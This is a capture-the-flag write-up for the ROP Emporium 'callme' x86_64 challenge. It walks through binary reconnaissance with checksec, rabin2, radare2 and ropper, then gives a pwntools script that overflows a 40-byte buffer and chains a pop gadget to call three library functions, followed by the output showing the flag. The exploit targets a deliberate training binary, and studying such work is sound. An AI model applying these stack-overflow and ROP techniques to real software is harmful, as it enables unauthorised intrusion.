“Failure is not an option”

Important note >

To dispose of the need for any RE I’ll tell you the following You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)

The challenge files can be found here ~> callme

Before getting our hands onto the challenge let’s take a look at x86-64 calling conventions

+---------+------+------+------+------+------+------+
| syscall | arg0 | arg1 | arg2 | arg3 | arg4 | arg5 |
+---------+------+------+------+------+------+------+
|   %rax  | %rdi | %rsi | %rdx | %r10 | %r8  | %r9  |
+---------+------+------+------+------+------+------+

To understand calling conventions better take a look here ~> calling convetions

Now lets take a look at the challenge binary

callme64 ➤ checksec callme
[*] '/home/h4x5p4c3/Documents/pwn/rop_emporium/2-callme/callme64/callme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'

This looks similar to the previous challenge we solved

Lets checkout the functions which are imported from the shared object file

callme64 ➤ rabin2 -i callme
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x004006d0 GLOBAL FUNC       puts
2   0x004006e0 GLOBAL FUNC       printf
3   0x004006f0 GLOBAL FUNC       callme_three
4   0x00400700 GLOBAL FUNC       memset
5   0x00400710 GLOBAL FUNC       read
6   0x00000000 GLOBAL FUNC       __libc_start_main
7   0x00400720 GLOBAL FUNC       callme_one
8   0x00000000 WEAK   NOTYPE     __gmon_start__
9   0x00400730 GLOBAL FUNC       setvbuf
10  0x00400740 GLOBAL FUNC       callme_two
11  0x00400750 GLOBAL FUNC       exit

Yes we can see the functions which are need for the exploit let’s take a note of them…..

Next up let’s check the functions present in the binary

[0x00400760]> afl
0x00400760    1 42           entry0
0x004006a8    3 23           sym._init
0x004009b4    1 9            sym._fini
0x004007a0    4 42   -> 37   sym.deregister_tm_clones
0x004007d0    4 58   -> 55   sym.register_tm_clones
0x00400810    3 34   -> 29   sym.__do_global_dtors_aux
0x00400840    1 7            entry.init0
0x00400898    1 90           sym.pwnme
0x00400700    1 6            sym.imp.memset
0x004006d0    1 6            sym.imp.puts
0x004006e0    1 6            sym.imp.printf
0x00400710    1 6            sym.imp.read
0x004008f2    1 74           sym.usefulFunction
0x004006f0    1 6            sym.imp.callme_three
0x00400740    1 6            sym.imp.callme_two
0x00400720    1 6            sym.imp.callme_one
0x00400750    1 6            sym.imp.exit
0x004009b0    1 2            sym.__libc_csu_fini
0x00400940    4 101          sym.__libc_csu_init
0x00400790    1 2            sym._dl_relocate_static_pie
0x00400847    1 81           main
0x00400730    1 6            sym.imp.setvbuf

Again we have a useful function lets take a look at it

[0x00400760]> s sym.usefulFunction
[0x004008f2]> pdf
┌ 74: sym.usefulFunction ();
│           0x004008f2      push rbp
│           0x004008f3      mov rbp, rsp
│           0x004008f6      mov edx, 6
│           0x004008fb      mov esi, 5
│           0x00400900      mov edi, 4
│           0x00400905      call sym.imp.callme_three
│           0x0040090a      mov edx, 6
│           0x0040090f      mov esi, 5
│           0x00400914      mov edi, 4
│           0x00400919      call sym.imp.callme_two
│           0x0040091e      mov edx, 6
│           0x00400923      mov esi, 5
│           0x00400928      mov edi, 4
│           0x0040092d      call sym.imp.callme_one
│           0x00400932      mov edi, 1                                 ; int status
└           0x00400937      call sym.imp.exit                          ; void exit(int status)

From this we can understand we need to pass the values three times and call the functions respectively and as per the important note given by the challenge author we can figure out the overview of solving the challenge

40 bytes to overflow
mov rdi, 0xdeadbeefdeadbeef
mov rsi, 0xcafebabecafebabe
mov rdx, 0xd00df00dd00df00d
call callme_one
mov rdi, 0xdeadbeefdeadbeef
mov rsi, 0xcafebabecafebabe
mov rdx, 0xd00df00dd00df00d
call callme_two
mov rdi, 0xdeadbeefdeadbeef
mov rsi, 0xcafebabecafebabe
mov rdx, 0xd00df00dd00df00d
call callme_three

ROP gadgets

amd64 calling convention requires the arguments to a function to reside in
%rdi, %rsi,  %rdx

To get the values into registers to pass the arguments, we’ll need a gadget that will pop values from the stack into these registers. Lets checkout the gadgets now using ropper

callme64 ➤ ropper --file callme --search 'pop'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop

[INFO] File: callme
0x000000000040099c: pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040099e: pop r13; pop r14; pop r15; ret;
0x00000000004009a0: pop r14; pop r15; ret;
0x00000000004009a2: pop r15; ret;
0x00000000004007bb: pop rbp; mov edi, 0x601070; jmp rax;
0x000000000040099b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040099f: pop rbp; pop r14; pop r15; ret;
0x00000000004007c8: pop rbp; ret;
0x000000000040093c: pop rdi; pop rsi; pop rdx; ret; # The exact gadget we need :)
0x00000000004009a3: pop rdi; ret;
0x000000000040093e: pop rdx; ret;
0x00000000004009a1: pop rsi; pop r15; ret;
0x000000000040093d: pop rsi; pop rdx; ret;
0x000000000040099d: pop rsp; pop r13; pop r14; pop r15; ret;

we have a gadget that satisfies our exact need lets take a note of it 0x000000000040093c

Exploitation

Now lets craft our exploit :)

#!/usr/bin/env python3
from pwn import *
context.terminal = ['alacritty', '-e', 'sh', '-c']
context.log_level = 'info'
exe = context.binary = ELF('./callme', checksec=False)
io = process(exe.path)
gadget = 0x000000000040093c #pop rdi; pop rsi; pop rdx; ret
one = 0xdeadbeefdeadbeef
two = 0xcafebabecafebabe
three = 0xd00df00dd00df00d
payload = flat([
        cyclic(40),
        gadget, one, two, three, exe.sym['callme_one'],
        gadget, one, two, three, exe.sym['callme_two'],
        gadget, one, two, three, exe.sym['callme_three']
])
io.sendline(payload)
io.interactive()

Lets run our exploit to check if it works

callme64 ➤ python xpl.py
[+] Starting local process './callme': pid 8013
[*] Switching to interactive mode
callme by ROP Emporium
x86_64

Hope you read the instructions...

> Thank you!
callme_one() called correctly
callme_two() called correctly
[*] Process './callme' stopped with exit code 0 (pid 8013)
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$

Yea our exploit works fine as expected :)